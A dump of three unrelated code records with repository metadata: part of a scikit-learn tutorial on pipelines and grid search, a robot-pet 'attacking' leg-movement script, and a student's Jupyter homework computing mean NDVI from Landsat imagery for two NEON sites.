![pipeline](figures/pipeline.svg)\n#\n# If we call ``score``, only ``transform`` will be called on each step - this could be the test set after all! Then, on the last step, ``score`` is called with the new representation. The same goes for ``predict``.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Building pipelines not only simplifies the code, it is also important for model selection.\n# Say we want to grid-search C to tune our Logistic Regression above.\n#\n# Let's say we do it like this:\n\n# %% {\"deletable\": true, \"editable\": true}\n# This illustrates a common mistake. Don't use this code!\nfrom sklearn.model_selection import GridSearchCV\n\nvectorizer = TfidfVectorizer()\nvectorizer.fit(text_train)\n\nX_train = vectorizer.transform(text_train)\nX_test = vectorizer.transform(text_test)\n\nclf = LogisticRegression()\ngrid = GridSearchCV(clf, param_grid={'C': [.1, 1, 10, 100]}, cv=5)\ngrid.fit(X_train, y_train)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# ### What did we do wrong?\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Here, we did grid-search with cross-validation on ``X_train``. However, when applying ``TfidfVectorizer``, it saw all of the ``X_train``,\n# not only the training folds! So it could use knowledge of the frequency of the words in the test-folds. This is called \"contamination\" of the test set, and leads to too optimistic estimates of generalization performance, or badly selected parameters.\n# We can fix this with the pipeline, though:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.model_selection import GridSearchCV\n\npipeline = make_pipeline(TfidfVectorizer(), \n                         LogisticRegression())\n\ngrid = GridSearchCV(pipeline,\n                    param_grid={'logisticregression__C': [.1, 1, 10, 100]}, cv=5)\n\ngrid.fit(text_train, y_train)\ngrid.score(text_test, y_test)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Note that we need to tell the pipeline where at which step we wanted to set the parameter ``C``.\n# We can do this using the special ``__`` syntax. The name before the ``__`` is simply the name of the class, the part after ``__`` is the parameter we want to set with grid-search.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# <img src=\"figures/pipeline_cross_validation.svg\" width=\"50%\">\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Another benefit of using pipelines is that we can now also search over parameters of the feature extraction with ``GridSearchCV``:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.model_selection import GridSearchCV\n\npipeline = make_pipeline(TfidfVectorizer(), LogisticRegression())\n\nparams = {'logisticregression__C': [.1, 1, 10, 100],\n          \"tfidfvectorizer__ngram_range\": [(1, 1), (1, 2), (2, 2)]}\ngrid = GridSearchCV(pipeline, param_grid=params, cv=5)\ngrid.fit(text_train, y_train)\nprint(grid.best_params_)\ngrid.score(text_test, y_test)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# <div class=\"alert alert-success\">\n#     <b>EXERCISE</b>:\n#      <ul>\n#       <li>\n#       Create a pipeline out of a StandardScaler and Ridge regression and apply it to the Boston housing dataset (load using ``sklearn.datasets.load_boston``). Try adding the ``sklearn.preprocessing.PolynomialFeatures`` transformer as a second preprocessing step, and grid-search the degree of the polynomials (try 1, 2 and 3).\n#       </li>\n#     </ul>\n# </div>\n\n# %% {\"deletable\": true, \"editable\": true}\n# # %load solutions/15A_ridge_grid.py\n", "meta": {"hexsha": "53f6869137cc190f96fee58968c8e98b93198d4b", "size": 6536, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_scripts/15.Pipelining_Estimators.py", "max_stars_repo_name": "ogrisel/euroscipy-2019-scikit-learn-tutorial", "max_stars_repo_head_hexsha": "e141cd8f3e600f35826516738188e87ac3480fc3", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-08-20T17:47:43.000Z", "max_stars_repo_stars_event_max_datetime": "2019-10-05T06:55:08.000Z", "max_issues_repo_path": "python_scripts/15.Pipelining_Estimators.py", "max_issues_repo_name": "ogrisel/euroscipy-2019-scikit-learn-tutorial", "max_issues_repo_head_hexsha": "e141cd8f3e600f35826516738188e87ac3480fc3", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python_scripts/15.Pipelining_Estimators.py", "max_forks_repo_name": "ogrisel/euroscipy-2019-scikit-learn-tutorial", "max_forks_repo_head_hexsha": "e141cd8f3e600f35826516738188e87ac3480fc3", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.8536585366, "max_line_length": 328, "alphanum_fraction": 0.7102203182, "include": true, "reason": "import numpy", "num_tokens": 1679, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632160712508727, "lm_q2_score": 0.18242552602881168, "lm_q1q2_score": 0.07777194343724243}}
{"text": "import numpy as np\r\n\r\nimport sys\r\nsys.path.append(\".\")\r\nfrom ai.action.movement.movements.basic import *\r\nimport ai.actionplanner\r\n\r\ndef attacking(mars):\r\n    rand_speed = np.random.uniform(0.2, 0.4)\r\n\r\n    mars.setLegAngle(1, 2, 80, rand_speed)\r\n    mars.setLegAngle(2, 2, 80, rand_speed)\r\n    ai.actionplanner.ActionPlanner.sleep(1)\r\n    mars.setLegAngle(1, 3, -10, rand_speed)\r\n    mars.setLegAngle(2, 3, -10, rand_speed)\r\n    ai.actionplanner.ActionPlanner.sleep(1)\r\n    mars.setLegAngle(1, 1, -20, rand_speed)\r\n    mars.setLegAngle(2, 1, -20, rand_speed)\r\n    move_head_tail(mars,1)\r\n\r\n    times = int(np.random.uniform(3, 5))\r\n\r\n    for i in range(times):\r\n        rand_speed_2 = 0.8\r\n        rand_angle = 8\r\n\r\n        mars.setLegAngle(3, 1, 0, rand_speed_2)\r\n        mars.setLegAngle(4, 1, rand_angle, rand_speed_2)\r\n        move_tail(mars)\r\n        ai.actionplanner.ActionPlanner.sleep(0.5)\r\n        mars.setLegAngle(3, 1, rand_angle, rand_speed_2)\r\n        mars.setLegAngle(4, 1, 0, rand_speed_2)\r\n        move_tail(mars)\r\n        ai.actionplanner.ActionPlanner.sleep(0.5)\r\n\r\n    ai.actionplanner.ActionPlanner.sleep(0.5)\r\n    mars.setLegAngle(3, 2, -30, rand_speed)\r\n    mars.setLegAngle(4, 2, -30, rand_speed)\r\n    move_head_tail(mars,1)\r\n    mars.setLegAngle(3, 3, -50, rand_speed)\r\n    mars.setLegAngle(4, 3, -50, rand_speed)\r\n\r\n    move_head_tail(mars,1)\r\n", "meta": {"hexsha": "f27d74bf4511864a865910450c332f01f7c1f00c", "size": 1370, "ext": "py", "lang": "Python", "max_stars_repo_path": "ai/action/movement/movements/attack.py", "max_stars_repo_name": "elephantrobotics-joey/marsai", "max_stars_repo_head_hexsha": "d7cc2a807727dddb615b2a1640dba5f9656f1da0", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 32, "max_stars_repo_stars_event_min_datetime": "2020-01-31T11:26:51.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-07T07:29:24.000Z", "max_issues_repo_path": "ai/action/movement/movements/attack.py", "max_issues_repo_name": "elephantrobotics-joey/marsai", "max_issues_repo_head_hexsha": "d7cc2a807727dddb615b2a1640dba5f9656f1da0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-28T02:03:22.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-28T02:03:22.000Z", "max_forks_repo_path": "ai/action/movement/movements/attack.py", "max_forks_repo_name": "elephantrobotics-joey/marsai", "max_forks_repo_head_hexsha": "d7cc2a807727dddb615b2a1640dba5f9656f1da0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2020-02-07T02:46:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-21T23:46:14.000Z", "avg_line_length": 31.1363636364, "max_line_length": 57, "alphanum_fraction": 0.6518248175, "include": true, "reason": "import numpy", "num_tokens": 440, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832206876841, "lm_q2_score": 0.14414885119438492, "lm_q1q2_score": 0.07769381207517931}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Mike Petrut**\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n***Workflow for Mean NDVI Modelling***\n\n1. Get list of all directories and associated site names.\n\n2. Open each site directory, get Landsat scenes, and calculate mean NDVI for each scene for that site.\n   # Steps for calculating the mean NDVI for each Landsat Scene\n   1. Create a loop that reads the site and date from each directory\n   2. Sort the bands by number \n   3. Crop to the extent of the focus shapefile\n   4. Mask to the range of Landsat Values \n   5. Optionally clean the image using the pixel cloud cover image \n   \n3. Capture results (including mean NDVI, date, and site name) to a list or dataframe.\n   # Steps for sorting the table\n   1. append all values from the looped tasks in Step 2\n   2. Create pandas data frame, setting date as index \n   \n4. Export dataframe with mean NDVI values to csv.\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import necessary packages\nimport os\nfrom glob import glob\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom shapely.geometry import box\nimport geopandas as gpd\nimport xarray as xr\nimport rasterio as rio\nimport rioxarray as rxr\nfrom rasterio.plot import plotting_extent\nfrom rasterio.mask import mask\nimport earthpy as et\nimport earthpy.spatial as es\nimport earthpy.plot as ep\nfrom datetime import datetime\nimport matplotlib.dates as mdates\n\n\n# Get the data\ndata = et.data.get_data('ndvi-automation')\n\n# Set working directory\nos.chdir(os.path.join(et.io.HOME, 'earth-analytics', 'data'))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\ndef combine_tifs(tif_list):\n    \n    \"\"\"A function that combines a list of tifs in the same CRS\n    and of the same extent into an xarray object\n\n    Parameters\n    ----------\n    tif_list : list\n        A list of paths to the tif files that you wish to combine.\n\n    Returns\n    -------\n    An xarray object with all of the tif files in the listmerged into \n    a single object.\n\n    \"\"\"\n    out_xr = []\n    for i, tif_path in enumerate(tif_list):\n        out_xr.append(rxr.open_rasterio(tif_path, masked = True).squeeze())\n        out_xr[i][\"band\"] = i + 1\n\n    return xr.concat(out_xr, dim = \"band\")\n\ndef ndvi_mean(main_path, cloud_mask):\n    \n    \"\"\"A function that takes a file path of Landsat imagery (which includes \n    separate .tif files for different bands), and combines the files as an\n    xarray, then calculates the NDVI.\n    \n    The function includes the following tasks:\n    \n    1) Read in the path, sort the files in each imagery file by band number \n    2) Find the cropping extent file for each site \n       (assuming this is a shapefile)\n    3) Combine imagery as a xarray and apply the pixel mask \n       if cloud mask is entered as True\n    4) Mask the file to the Landsat range 0:10000\n    5) Calculate the NDVI and Mean NDVI values \n    6) Append the loop results to the list\n    7) Summarise the appended lists ass a pandas data frame, \n       convert the string extracted date as\n       date-time and assign to the index\n    8) Return panel data frame of mean NDVI values, \n       with key = site and index = date \n    \n    The function finally calculates the mean for all file paths and combines them as a pandas\n    data frame.\n    \n    The function extracts the site and date from the Landsat path file and adds \n    them as columns to the table, the \n    \n    Parameters\n    ----------\n    \n    Path_list : list\n        A list of paths to the paths of tif files that you wish to combine.\n        \n    cloud_mask : logical\n        True or False based on whether you want the function \n        to apply the cloud cover layer to clean the data\n\n    Returns\n    -------\n    A pandas dataframe of mean NDVI values from the main path provided\n    \n    \"\"\"\n    \n    #Create ists to append looped values to \n    all_mean = []\n    dates = []\n    sites = []\n\n    # Specify the valid range of values for landsat\n    valid_range = (0, 10000)\n    \n    # Cloud no data vals for Landsat 8 -\n    vals = [328, 392, 840, 904, 1350, 352, 368, 416,\n            432, 480, 864, 880, 928, 944, 992, 480, 992]\n    \n    paths = glob(os.path.join(main_path, \"*/\"))\n\n    for path in paths:\n        \n        # Extract site from path\n        site = os.path.basename(os.path.normpath(path))  \n        \n        # Extract list of imigery file paths\n        band_files = glob(os.path.join(path, 'landsat-crop', \"*/\"))\n        \n        # Isolate path to shapefile needed for cropping \n        crop_path = glob(os.path.join(path, 'vector', \"*.shp\"))[0]\n        \n        # Import the cropping shapefile\n        crop_shape = gpd.read_file(crop_path)\n        \n        # Create loop to calculate for all imigery files in the site folders\n        for files in band_files:\n            \n            # Sort files by band\n            sorted_files = sorted(glob(os.path.join(files, '*band*')))\n            \n            # Use combined_tif fuction to crease an xarray from the sorted tif files \n            combined_tif = combine_tifs(sorted_files)\n            \n            # Crop the newly combined imagery file to the cropped shape\n            ## Each site has one cropping shape file, hence why it is defined in the path loop not the file loop\n            combined_crop = combined_tif.rio.clip(crop_shape.geometry, from_disk = True).squeeze()             \n            \n            # Define cropped xarray as either filtered to the pixel could cover imagery or not \n            \n            if(cloud_mask == True):\n                \n                pixel_qa_path = glob(os.path.join(files, \"*qa*\"))\n                pixel_qa = rxr.open_rasterio(pixel_qa_path[0], \n                                             masked = True).rio.clip(crop_shape.geometry,\n                                                                     from_disk = True).squeeze()\n                combined_crop = combined_crop.where(~pixel_qa.isin(vals))\n                \n            else: combined_crop\n            \n            # Mask the cropped range to the Landsat 8 values range\n            if valid_range:\n                mask = ((combined_crop < valid_range[0]) | (combined_crop > valid_range[1]))\n                combined_crop = combined_crop.where(~xr.where(mask, True, False))\n            \n            # Calculate the NDVI - \n            ## Function will not run properly if this is changed the the earthpy normalized_diff fuction - Do not change\n            ndvi = (combined_crop[4] - combined_crop[3]) / (combined_crop[4] + combined_crop[3]) \n            \n            # Calc the mean NDVI\n            ndvi_mean = np.nanmean(ndvi)\n            \n            # Isolate filename from the path \n            file_name = os.path.basename(os.path.normpath(files))\n            \n            # Extract date values from the file name string\n            date = file_name[10:18]\n            \n            #image - file_name[1:18]\n            \n            # Append looped values to the predefined lists \n            dates.append(date)\n            sites.append(site)\n            all_mean.append(ndvi_mean)     \n            \n            # Generate pandas dataframe from the three lists \n            ndvi_mean_df = pd.DataFrame({'date': dates,\n                                         'site': sites,\n                                         'mean_ndvi': all_mean})\n    \n    # Coerce date string to date-time values \n    ndvi_mean_df['date'] = pd.to_datetime(ndvi_mean_df['date'], format = '%Y%m%d')\n    \n    # Set index as the date values \n    ndvi_mean_df.set_index('date', inplace = True)\n    \n    return ndvi_mean_df\n\n\ndef ndvi_filter_date(image_directory):\n    \n    \"\"\"A function that extracts the date of image collection from the imagery path name\n\n    Parameters\n    ----------\n    directory: directory to file including study \n    site e.g: \"'HARV/landsat-crop/LC080130302017031701T1-SC20181023151837'\"\n    \n    Returns\n    -------\n    Date string of the image directory\n\n    \"\"\"\n    filter_path = image_directory\n    filter_year = filter_path[28:32]\n    filter_month = filter_path[32:34]\n    filter_day = filter_path[34:36]\n\n    filter_date = filter_year + \"-\" + filter_month + \"-\" + filter_day\n\n    return filter_date\n\n\ndef ndvi_filter_site(image_directory):\n    \n    \"\"\"A function that extracts the site name from the imagery path name\n\n    Parameters\n    ----------\n    directory: directory to file including study \n    site e.g: \"'HARV/landsat-crop/LC080130302017031701T1-SC20181023151837'\"\n    \n    Returns\n    -------\n    Date string of the image site\n\n    \"\"\"\n    filter_path = image_directory\n    filter_site = filter_path[0:4]\n\n    return filter_site\n\n\n# In[6]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n\nsanity_date = ndvi_filter_date('HARV/landsat-crop/LC080130302017031701T1-SC20181023151837')\n\nsanity_site = ndvi_filter_site('HARV/landsat-crop/LC080130302017031701T1-SC20181023151837')\n\nmain_path = os.path.join('ndvi-automation', 'sites')\n\nndvi_mean_results = ndvi_mean(main_path, cloud_mask = False)\n\nndvi_mean_results[(ndvi_mean_results.index == sanity_date) & (ndvi_mean_results['site'] == sanity_site)]\n\n\n# In[7]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[8]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n###__________________________________________________________\n\n# Call \nndvi_mean_cloud_cover = ndvi_mean(main_path, cloud_mask = True)\nndvi_mean_cloud_cover \n\n\n# In[9]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[10]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n###___________________________AX1______________________________\n\n# Remove NaNs from cleaned dataset \nndvi_mean_cloud_cover_exnan = ndvi_mean_cloud_cover.dropna()\n\n# Set Colors\ncolor_map = {'HARV' : '#7BBDD6',\n             'SJER' : '#140034'}\n\nmonths = mdates.MonthLocator()  # every month\n\nfig, (ax1,ax2) = plt.subplots(2, 1, \n                              figsize = (12,15),  \n                              constrained_layout = False)\n\nfor label, grp in ndvi_mean_results.groupby(\"site\"):\n    grp.plot(use_index = True,\n             y = 'mean_ndvi',\n             ax = ax1,\n             color = color_map[label],\n             label = label,\n             style = '.-',\n             markersize = 12)\n\n    \n# Set up formatting for graph \n\nax1.set_xlabel('Date', fontsize=16)\nax1.set_ylabel('Mean NDVI', fontsize=16)\nax1.set_title('Mean Normalized Difference Vegetation Index (NDVI) \\n Jan 2017- Dec-2017 \\n Landsat 8 Not Cleaned', \n              fontsize = 18)\n\nax1.legend(fontsize = 12)\n\nax1.xaxis.set_major_formatter(mdates.DateFormatter('%b'))\n\nax1.tick_params(axis = 'both',\n               which = 'major', \n               labelsize = 12)\n\nax1.set_ylim([0, 1])\n\nax1.grid(True)\n\n###____________________________AX2______________________________\n\nfor label, grp in ndvi_mean_cloud_cover_exnan.groupby(\"site\"):\n    grp.plot(use_index = True,\n             y = 'mean_ndvi',\n             ax = ax2,\n             color = color_map[label],\n             label = label,\n             style = '.-',\n             markersize = 12)\n    \n# Set title and label axes\nax2.set(xlabel = \"Date\",\n        ylabel = \"Mean NDVI\",\n        title = \"NDVI\")\n\n# Set up formatting for graph \n\nax2.set_xlabel('Date', fontsize = 16)\nax2.set_ylabel('Mean NDVI', fontsize = 16)\nax2.set_title('Mean Normalized Difference Vegetation Index (NDVI) \\n Jan 2017- Dec-2017 \\n Landsat With Clouds Removed', \n              fontsize = 18)\n\nax2.legend(fontsize = 12)\n\nax2.xaxis.set_major_formatter(mdates.DateFormatter('%b %y'))\n\nax2.tick_params(axis = 'both',\n               which = 'major', \n               labelsize = 12)\n\nax2.set_ylim([0, 1]) \n\nax2.grid(True)\n\nfig.tight_layout(pad = 2.5) \n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[11]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# For the HARV study area it would be recommended that to avoid cloud cover and gather high vegetation imagery that the flight taken place late-August to September.\n# \n# For the SJER study area it would be recommended that to avoid cloud cover and gather high vegetation imagery that the flight taken place late-Feb to March.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# To better understand the vegetation changes over time we could modify the workflow to classify each NDVI model to categorise the xarray into bins for not-vegetation (-1 to 0.19), low vegetation (0. 2 to 0.5) and high vegetation (0.501 to 1.0) and calculate both the mean and total observations of he three bins to see where areas of land have maintained lose or gained vegetation across the categorisations. This would be useful to understand the impact of seasonal variables such as weather and rainfall on the vegetation index over time.  \n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[13]:\n\n\n### CSV EXPORT ###\n\n# Set working 